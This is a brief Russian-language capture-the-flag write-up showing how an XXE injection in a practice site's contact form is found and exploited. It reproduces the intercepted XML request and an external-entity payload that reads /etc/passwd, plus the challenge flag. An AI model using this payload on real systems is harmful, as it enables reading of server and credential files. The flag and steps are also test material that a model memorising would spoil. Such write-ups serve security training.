Zaporizhia (9.owaspctf.gq)

На главной странице скролим вниз до Contact Us. Name=1, Message=2, перехватываем запрос в барпе:

PUT /rest/msgs/ HTTP/1.1
Host: 9.owaspctf.gq
User-Agent: -
Content-Type: application/xml
X-Requested-With: XMLHttpRequest
Referer: http://9.owaspctf.gq/contact.html
Content-Length: 83
DNT: 1
Connection: close

<?xml version="1.0" encoding="UTF-8"?><msg><name>1</name><content>2</content></msg>

Похоже на XXE. Отправляем:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE msg[
    <!ENTITY name SYSTEM "/etc/passwd">
]>
<msg><name>&name;</name><content>2</content></msg>

Респонс: [+] Message 602400110 saved

http://9.owaspctf.gq/rest/msgs/602400110

FLAG{Xuman_Like_Machines}